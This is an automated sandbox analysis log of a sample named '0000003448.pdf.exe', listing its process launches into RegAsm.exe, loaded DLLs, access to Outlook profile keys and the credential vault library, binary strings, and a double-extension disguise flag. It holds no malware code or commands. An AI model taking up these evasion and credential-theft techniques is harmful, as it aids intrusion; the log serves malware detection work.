Source: C:\Users\user\Desktop\0000003448.pdf.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe"
Source: C:\Users\user\Desktop\0000003448.pdf.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 2520 -s 1084
Source: C:\Users\user\Desktop\0000003448.pdf.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe"	Jump to behavior

Source: C:\Users\user\Desktop\0000003448.pdf.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\0000003448.pdf.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\0000003448.pdf.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\0000003448.pdf.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\0000003448.pdf.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\0000003448.pdf.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\0000003448.pdf.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\0000003448.pdf.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\0000003448.pdf.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\0000003448.pdf.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\0000003448.pdf.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\0000003448.pdf.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\0000003448.pdf.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\0000003448.pdf.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\0000003448.pdf.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windowscodecs.dll	Jump to behavior

Source: C:\Users\user\Desktop\0000003448.pdf.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\0000003448.pdf.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook\Profiles

Jump to behavior

Source: 0000003448.pdf.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: 0000003448.pdf.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: 0000003448.pdf.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: Microsoft.VisualBasic.ni.pdb source: WER97AA.tmp.dmp.13.dr
Source:	Binary string: \??\C:\Windows\mscorlib.pdbception Info: System.Reflection. source: 0000003448.pdf.exe, 00000000.00000002.1491040290.0000024767322000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\mscorlib.pdbpdblib.pdbV7 8d source: 0000003448.pdf.exe, 00000000.00000002.1491040290.0000024767322000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\mscorlib.pdb source: 0000003448.pdf.exe, 00000000.00000002.1491040290.0000024767322000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.ni.pdbRSDS source: WER97AA.tmp.dmp.13.dr
Source:	Binary string: Microsoft.CSharp.pdb source: WER97AA.tmp.dmp.13.dr
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb3n source: 0000003448.pdf.exe, 00000000.00000002.1486243252.000002474CF64000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: .VisualBasic.pdb` source: 0000003448.pdf.exe, 00000000.00000002.1484938348.000000F5E9BA3000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdbyste/@ source: 0000003448.pdf.exe, 00000000.00000002.1491040290.0000024767322000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.ni.pdbRSDS7^3l source: WER97AA.tmp.dmp.13.dr
Source:	Binary string: Microsoft.VisualBasic.ni.pdbRSDS& source: WER97AA.tmp.dmp.13.dr
Source:	Binary string: .pdbHJ source: 0000003448.pdf.exe, 00000000.00000002.1484938348.000000F5E9BA3000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.pdb source: WER97AA.tmp.dmp.13.dr
Source:	Binary string: f:\binaries\Intermediate\vb\microsoft.visualbasic.build.vbproj_731629843\objr\x86\Microsoft.VisualBasic.pdb source: 0000003448.pdf.exe, 00000000.00000002.1486243252.000002474CF04000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.VisualBasic.pdb source: WER97AA.tmp.dmp.13.dr
Source:	Binary string: System.Core.ni.pdb source: WER97AA.tmp.dmp.13.dr
Source:	Binary string: \??\C:\Windows\mscorlib.pdbn? source: 0000003448.pdf.exe, 00000000.00000002.1491040290.0000024767322000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdbBLEN source: 0000003448.pdf.exe, 00000000.00000002.1491040290.0000024767322000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: 0000003448.pdf.exe, 00000000.00000002.1486243252.000002474CF64000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdb source: WER97AA.tmp.dmp.13.dr
Source:	Binary string: System.Dynamic.pdb source: WER97AA.tmp.dmp.13.dr
Source:	Binary string: \??\C:\Windows\Microsoft.VisualBasic.pdbAND source: 0000003448.pdf.exe, 00000000.00000002.1491040290.0000024767322000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: 0000003448.pdf.PDB0 source: 0000003448.pdf.exe, 00000000.00000002.1484938348.000000F5E9BA3000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: mscorlib.ni.pdb source: WER97AA.tmp.dmp.13.dr
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.pdb source: 0000003448.pdf.exe, 00000000.00000002.1491040290.0000024767322000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdb source: WER97AA.tmp.dmp.13.dr
Source:	Binary string: pC:\Users\user\Desktop\0000003448.pdf.PDB0 source: 0000003448.pdf.exe, 00000000.00000002.1484938348.000000F5E9BA3000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.VisualBasic.pdbDBA source: 0000003448.pdf.exe, 00000000.00000002.1491040290.0000024767322000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\Microsoft.VisualBasic.pdbxe source: 0000003448.pdf.exe, 00000000.00000002.1486243252.000002474CF04000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.ni.pdb source: WER97AA.tmp.dmp.13.dr
Source:	Binary string: System.pdbx source: WER97AA.tmp.dmp.13.dr
Source:	Binary string: System.Core.ni.pdbRSDS source: WER97AA.tmp.dmp.13.dr
Source:	Binary string: C:\Users\user\Desktop\0000003448.pdf.PDB source: 0000003448.pdf.exe, 00000000.00000002.1484938348.000000F5E9BA3000.00000004.00000010.00020000.00000000.sdmp

Source: 0000003448.pdf.exe

Static PE information: 0xD4FC1361 [Fri Mar 26 12:30:25 2083 UTC]

Source: C:\Users\user\Desktop\0000003448.pdf.exe	Code function: 0_2_00007FFAACCDDF58 push BA495F4Ch; iretd	0_2_00007FFAACCDDF6A
Source: C:\Users\user\Desktop\0000003448.pdf.exe	Code function: 0_2_00007FFAACCD00BD pushad ; iretd	0_2_00007FFAACCD00C1
Source: C:\Users\user\Desktop\0000003448.pdf.exe	Code function: 0_2_00007FFAACDF04AB push esp; retf 4810h	0_2_00007FFAACDF0552
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 10_2_05610C6D push edi; retf	10_2_05610C7A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 10_2_05610C45 push ebx; retf	10_2_05610C52
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 10_2_05610C53 push ebx; retf	10_2_05610C52
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 10_2_05617A4D push ebp; retf	10_2_05617A32

Hooking and other Techniques for Hiding and Protection

Uses an obfuscated file name to hide its real file extension (double extension)

Source: Possible double extension: pdf.exe

Static PE information: 0000003448.pdf.exe

Source: C:\Users\user\Desktop\0000003448.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0000003448.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0000003448.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0000003448.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0000003448.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0000003448.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0000003448.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0000003448.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0000003448.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0000003448.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0000003448.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0000003448.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0000003448.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0000003448.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0000003448.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0000003448.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0000003448.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0000003448.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0000003448.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0000003448.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0000003448.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0000003448.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0000003448.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0000003448.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0000003448.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0000003448.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0000003448.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0000003448.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0000003448.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0000003448.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0000003448.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0000003448.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0000003448.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0000003448.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0000003448.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0000003448.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0000003448.pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
